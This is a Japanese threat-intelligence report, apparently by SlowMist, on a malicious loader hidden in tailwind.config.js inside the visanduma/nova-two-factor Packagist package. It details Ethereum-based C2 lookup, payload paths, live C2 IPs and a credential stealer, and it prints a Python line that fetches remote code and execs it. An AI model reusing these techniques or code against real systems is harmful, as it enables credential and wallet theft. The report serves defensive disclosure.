背景

サンプルは Laravel Nova 拡張パッケージ `visanduma/nova-two-factor` の開発ブランチに由来し、PolinRider キャンペーンに帰属する。これは PHP パッケージで、Packagist 上で配布されており、本稿の分析時点で累計ダウンロード数が 70 万回を超えている。

配信チェーンは C2 アドレスをサンプルに書き込まない。インジェクトコードはまずイーサリアムを照会し、1 件の取引における受信先アドレスから 2 台のサーバーの IP を抽出し、その後 HTTP で次のペイロードを取り戻す。攻撃者がサーバーを入れ替える必要がある場合は、チェーン上に新しい取引を 1 件追加するだけでよく、このパケットを再び毒化する必要はない。

このチェーンの終点は、複数プラットフォームに対応した認証情報窃取器で、ブラウザのアカウントと Cookie、暗号ウォレットのデータ、パスワード管理マネージャのデータベース、開発者の認証情報を収集する。

今回取得したリモートペイロードは、本ラウンドの実際のリクエストで取得し、オフラインでデコードしました。デコードは XOR、zlib、base64 の変換のみを行い、いかなるダウンロード内容も実行していません。分析結論は静的コードおよびリモートレスポンスに基づくもので、これらの窃取行為が実際に被害端末で成功したことを示す証拠はまだありません。

MistEye レスポンス

MistEye は SlowMist が自社開発した Web3 脅威インテリジェンスおよび動的セキュリティ監視システムで、セキュリティ監視とインテリジェンス集約能力を統合し、ユーザーにリアルタイムのリスク警告と資産保護を提供します。

MistEye は、インテリジェンス配信および顧客アラートチャネルを通じて、リスクをいち早く同期しました。

以下、詳細な技術分析です。

攻撃チェーン

 上の図は、コードと取得結果から復元した関係図です。

1行の設定からチェーン上の特定へ

埋め込みコードは設定ファイルの末尾に隠されています。ファイルの最初の10行は正常な Tailwind 設定で、11行目は正常な「};」で締めて、その後に 507 個のスペースが続きます。スペースの後で初めてコードが実行されます。この一連のスペースにより、狭いウィンドウでは一見正常な末尾が表示されるだけで、JavaScript の実行セマンティクスが変わるわけではありません。module.exports への代入はモジュールの実行を停止しません。トリガーもサンプル内にあります。package.json の development、watch、production などのスクリプトはいずれも Laravel Mix を参照しており、webpack.mix.js は tailwind.config.js を設定パスとして PostCSS プラグインに渡します。Tailwind 3.1.8 は setupTrackingContext.js の中で require(userConfigPath) によりこの設定を読み取り、この段階で設定モジュールのトップレベルコードが実行されます。

ローダーはイーサリアム取引を通じて現在の C2 アドレスを取得します。攻撃者は2つの IPv4 アドレスを取引の受信アドレスにエンコードし、サンプルは固定送信元の取引からこれらの情報を抽出します。その後 HTTP で後続ペイロードをダウンロードします。これにより、攻撃者は新しい取引を発行して投下サーバーのアドレスを更新でき、すでに埋め込まれた設定ファイルを変更する必要がありません。

埋め込みコードはまず自身のグローバル変数を初期化し、その後チェーン上のクエリを実行します。読み取るのはトランザクションの to フィールドです。0x プレフィックスを外し、16進数として20バイトに復元します。先頭4バイトは IPv4、第4〜8バイトは2つ目のIPv4、残り12バイトのコードは使われません。本ラウンドで実際に復元された結果は 166[.]88[.]134[.]75 で、2つのIPは同一です。末尾12バイトは平文のマーカー helloipbot!! です。

ローダーは「千ブロック」ごとの境界を基準に候補取引を照会し、それらの取引からエンコードされた C2 アドレスを取り出します。オンチェーンの表示では、この照会は攻撃者が維持するハートビートに依存しています。各千位の境界付近には新しい取引があり、本ラウンドで取得された 392 件はすべてゼロ転送・空の calldata で、gasUsed は 21000 です。唯一含まれる情報は to アドレスそのものです。アドレスは定期的に更新されており、直近の5つのサイクルは順に 166[.]88[.]134[.]62、23[.]27[.]13[.]135、166[.]88[.]73[.]46、193[.]247[.]144[.]38、そして本ラウンドの 166[.]88[.]134[.]75 に対応しています。

位置特定が完了すると、コードは復元した IP の 443 ポートにリクエストを送信し、/0x/cls と /0x/ls の2つのパスを取得します。ここに、ポート番号に引きずられやすい注意点があります。URL の scheme は http: で、呼び出しているのは http.request です。443 はポート番号であり、TLS はありません。2つのペイロードはループ XOR デコード後に同一の実行関数へ渡され、分離された Node の子プロセス内で実行されます。/0x/cls の経路ではさらに、子プロセスを起動する前に現在のプロセス内で一度評価します。この評価で例外が発生してプロセスが終了するか、あるいはずっと応答しない場合は、後続の子プロセスが到達しない可能性があります。

注目すべき点として、私たちは悪意のあるアドレス 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a に対して MistTrack を使って分析しています。その初期資金は FixedFloat からのものです。

图片

3つのツール、3つの役割

2つのローディングパスはいずれも最終的に3つのコンポーネントに対応します。インターフェース数はコンポーネント数より多いのは、一部のインターフェースが異なるエンコードや代替パスで同一の内容を提供するためです。/0x/clb 応答内の body フィールドと /0x/cb 応答本体は、それぞれデコードすると同じコードになります。/0x/js とレスポンス内の inz フィールドはバイト単位で完全一致です。

/0x/cls で回収されるのは遠隔操作コンポーネント clb で、Socket.IO の指令チャネルを伴っています。操作者が指定したアドレスから Python を取り戻して実行できます。clb を取得して実行するローダー cls には、失敗時の転送ロジックも含まれています。エラーが発生すると os.hostname()、os.userInfo().username、os.type()、os.release() をテキストとして連結し、POST で /verify-human/< マーク> に送信します。

同一レスポンス内の inz フィールド、ならびに /0x/js により個別に提供されるコピーは、再感染用ローダー inz です。これは多層の文字列エンコード、配列状態駆動の制御フロー平坦化、間接関数ディスパッチにより難読化されています。静的に展開すると、それ自体にチェーン上の位置特定ロジック一式が備わっていることがわかります。同一のイーサリアム送信者アドレスと同じ to フィールドを IPv4 に変換し、自身で /0x/cls をリクエストして遠隔操作コンポーネントを取得します。取得後は、現在のプロセスまたは切り離された子プロセス内で実行します。遠隔操作コンポーネント clb にはさらに、それをホストアプリケーションのスクリプトに書き込む能力があります。ホストが後日このコードを読み込むと、再びこの位置特定とローディングのフローに入ります。

/0x/ls の経路では、Python のロードコンポーネント boot を取得します。静的復元の結果、boot は一部の環境変数を /snv にアップロードし、その後 Python が後続ペイロードをダウンロードして実行を開始します。

url = f'{{GLOBAL_H}}/$/{id}'        # id 固定で '1'

Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')

exec(Request._code)

urlopen が失敗した場合、システムの curl にフォールバックします。取得した2つのパスのテキストはいずれも、何の検証も行わずに exec に渡します。

本轮请求这些路径时,服务器给出了不一致的回应。HEAD /$/1 返回 404,GET /$/1 返回 200 和 36,485 字节正文,Last-Modified 每次都等于该次请求的时刻。同样的方式请求 /d/python.zip、/d/python.7z、/d/7zr.exe 三个路径,全部返回 500。

クロスプラットフォームの認証情報窃取器

今回取得した最後の段階のペイロードは、Base64 デコードと zlib 展開の後、89,149 バイトの Python スクリプトです。

このペイロードは、実行アカウントがアクセス可能な機密データを対象としており、ログイン認証情報の抽出および復号ロジックを含むだけでなく、ウォレット、パスワードマネージャー、開発ツールのデータファイルを直接コピーします。コード内の収集対象は主に次の5カテゴリに分かれます。

  • ブラウザのアカウント、セッション、支払い情報:Chrome、Edge、Brave、Arc などの Chromium 系ブラウザと Firefox を対象にし、ログイン、Cookie、Web Data データベースを読み取り、復号してエクスポートしようとします。特定の Chromium パスでは支払いカードデータも扱われます。加えて Firefox の設定や拡張データをコピーするロジックも含まれます。

  • 暗号ウォレットおよびウォレットアプリデータ:Exodus、Electrum、Atomic、Monero などのウォレットファイル、Solana の id.json、MetaMask、Phantom などの拡張ストレージ、そして Ledger Live、Trezor Suite のデスクトップアプリデータ。あらかじめ設定されたパスおよび拡張IDを検索して、ファイルまたはディレクトリをコピーします。

  • パスワードマネージャーデータ:1Password、Bitwarden、NordPass、KeePass/KeePassXC、Dashlane、LastPass などのアプリおよび拡張機能のローカルデータベース、キャッシュ、設定。一致するファイルとディレクトリをコピーし、一部の SQLite データベースはログファイルと一緒に収集します。

  • 開発認証情報および環境変数:Git 認証情報ファイル、GitHub CLI の hosts.yml、VS Code のローカル状態、GitHub Desktop のログ、ならびに現在のプロセスの環境変数。ファイルをコピーし、環境変数を JSON およびテキストとしてエクスポートします。そこには開発またはビルド環境の注入によるアクセス・トークンが含まれる可能性があります。

  • システム認証情報の保管:Windows の認証情報マネージャー、および Linux Secret Service のデフォルトのコレクションにあるエントリ。システムインターフェースを呼び出して列挙し、現在のアカウントがアクセス可能な認証情報の内容を読み取ろうとします。

ブラウザデータに関して、サンプルは元のデータベースをコピーするだけでなく、Windows DPAPI、macOS Keychain、Linux Secret Service/KWallet を呼び出して復号用の素材を取得し、機密フィールドを復元しようとして平文でエクスポートするロジックも含みます。実際に成功するかどうかは、必要な鍵または復号インターフェースが利用可能か、アクセス権限があるか、ブラウザデータの形式が互換性を持つかに依存します。

サンプルはさらに /mnt/*/Users/*/AppData/... などのパスも検索し、マウントされた Windows ユーザーディレクトリを読み取ろうとします。そのため、収集範囲は現在のアカウントがアクセスできる他のシステムパーティションにまで拡張される可能性があります。実際に読み取れる内容は、マウント状態およびファイル権限の制限を受けます。

収集結果はローカルディレクトリに書き込まれ、パッケージ化されます。サンプルは /u/e に対してホスト情報と収集カウントを報告し、レスポンス内の Telegram アップロードパラメータを読み取ります。その後、/u/f にアーカイブをアップロードするか、コード条件を満たす場合は Telegram sendDocument を呼び出します。アップロードロジックには再試行、ホスト切替、分割処理が含まれます。成功後、ローカルのアーカイブを削除しようとします。

このコードにはさらに2つの自己制限があります。レスポンスコードが 429 の場合は直ちに終了します。Blocked (BOT) も別の制限です。サンプルは、WSL2 の識別子が一致する Linux 環境に該当しない場合、システムの認証情報カウント、拡張カウント、Firefox profile カウントのいずれも0なら、その識別子を記録して、その後の主要な収集およびアップロード処理をスキップします。この判断に至る前に、サンプルはすでに環境変数のエクスポート、システムの認証情報の列挙、そして一部ディレクトリのスキャンを実行しています。

まとめ

確認できたのは、ビルド設定から認証情報窃取器への投下までの一連のチェーンです。入口は tailwind.config.js に追記されるローダーで、フロントエンドのビルドによってトリガーされます。位置特定はドメインに依存せず、イーサリアム上の1つ前の取引の to アドレスを読み取ります。第3段階は3つのコンポーネントで構成されます。遠隔操作コンポーネント clb、再感染ローダー inz、そして Python に拡張するローディングコンポーネント boot です。終着点は窃取器で、3つのプラットフォームをカバーし、対象はブラウザ認証情報、暗号ウォレット、パスワードマネージャー、ならびに開発認証情報です。

リスクは、フロントエンドのビルドを実行する開発機、ビルドコンテナ、CI runner 上に集中します。当該マシン上でこのプロジェクトのビルドが実行されていれば、ローダーが動作する可能性があります。一方、窃取機能が実行されると、実行アカウントの権限範囲内でアクセス可能なブラウザの認証情報、ウォレットファイル、GitHub トークンが読み取られ得ます。

推奨

1. 下流プロジェクトの composer.lock を調査し、visanduma/nova-two-factor が dev-nova5 などの悪意のあるバージョンに該当するかを確認します。さらに、このパッケージの任意の時点のソースコードスナップショットについて、ファイルハッシュで tailwind.config.js を照合します。

2. 被害を受けた開発マシンおよび CI runner において、ビルド中のネットワーク記録を検索します。プロジェクトのビルド時に、Node プロセスは複数のイーサリアム RPC に JSON-RPC リクエストを行い、また裸の IP の 443 番ポートへ平文の HTTP リクエストも送ります。リクエストには Sec-V ヘッダーも含まれます。

3. プロセスのコマンドラインに「node -e」が存在し、そのプレフィックスに global['_V'] が含まれているかどうか、および「py -c」で起動された Python プロセスがあるかどうかを確認します。直接評価する経路では新しいプロセスは生成されず、node -e だけを調べると、この種の実行は見落とされます。

4. 構築が正常に実行されたことを確認した場合は、ホストの侵害として扱います。クリーンな環境で、当該マシン上に出現したブラウザのマスター用パスワード、ウォレットのマニーメモリ(ミートフレーズ)および秘密鍵、GitHub CLI の token、その他のバージョン管理認証情報をローテーションし、これらのアカウントに対する最近のアクセスを監査します。

5. composer.lock、本ローカルの Git オブジェクトと reflog、ビルド時間、当時の Node バージョン、元の HTTP リクエストのレスポンスを保持し、調査が完了する前に依存関係を更新したり再構築したりしないでください。

6. ネットワーク側での遮断は、本記事の IOC 章に記載の IP を基準にしてください。Telegram ドメインを無差別にブロックしないでください。それは流用された公開サービスです。あわせて IP だけで止まらないでください。ホストおよびアカウントの調査と組み合わせて、ビルドマシン上にパックされたアーカイブ、環境変数のエクスポートファイル、ならびに異常な外部通信の記録が残っていないかを確認してください。

IOC

IP

166[.]88[.]134[.]75
166[.]88[.]134[.]62
23[.]27[.]13[.]135
166[.]88[.]73[.]46
193[.]247[.]144[.]38

ウォレットアドレス

0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

悪意のある依存関係

Packagist:visanduma/nova-two-factor@dev-nova4support
Packagist:visanduma/nova-two-factor@dev-main
Packagist:visanduma/nova-two-factor@dev-using-inertia
Packagist:visanduma/nova-two-factor@dev-nova5

悪意のあるファイル

filename: tailwind.config.js
SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a

参照

https://socket.dev/blog/polinrider-github-packagist

MistEye について

MistEye は SlowMist が自社開発した Web3 脅威インテリジェンスおよび動的セキュリティ監視プラットフォームで、API によりオープンパッケージエコシステムの悪意あるアクティビティ検知およびサプライチェーンリスクの事前警告機能を提供します。

今回の活動に関与するすべての悪意あるパッケージおよび IOC は MistEye の脅威検知エンジンに接続されています。開発者は API 経由でプロジェクトの依存関係を自動検出でき、既知の悪意あるパッケージに該当するかを素早く判定し、対処の推奨事項も取得できます。

📖 API ドキュメント:https://app.misteye.io/api-docs

🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan

軽量な CLI ツールで、1行のコマンドでプロジェクト依存関係およびグローバルインストールパッケージ内の既知の悪意あるパッケージをスキャンします。npm / PyPI / Cargo / Go / RubyGems のエコシステムに対応

🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills

AI コーディングアシスタントのセキュリティスキルパック。依存関係のインストールおよび URL へのアクセスの前に、MistEye のセキュリティ検出を自動的にトリガーします。

🛠️ MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-Guard

DNS セキュリティ防護ツール。悪意のあるドメインやリスクのあるアクセスを検出し、フィッシング、C2 などのネットワーク脅威を識別します

本稿は SlowMist の脅威インテリジェンステームが、MistEye 脅威インテリジェンスシステムおよび SlowMist Agent AI 駆動の分析を組み合わせて執筆しています。ご質問があればお気軽にお問い合わせ・ご連絡ください。